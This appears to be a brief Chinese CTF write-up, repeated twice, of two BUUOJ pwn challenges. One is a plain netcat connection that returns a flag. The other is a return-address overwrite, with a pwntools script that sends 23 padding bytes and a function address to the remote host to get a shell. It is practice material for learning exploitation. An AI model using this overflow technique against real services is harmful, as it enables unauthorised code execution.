PWN
1,连上就有flag的pwn
nc buuoj.cn 6000得到flag
2,RIP覆盖一下
用ida分析一下,
发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本
from pwn import*
sh=remote('f.buuoj.cn',6001)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()
得到flag
PWN
1,连上就有flag的pwn
nc buuoj.cn 6000得到flag
2,RIP覆盖一下
用ida分析一下,
发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本
from pwn import*
sh=remote('f.buuoj.cn',6001)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()
得到flag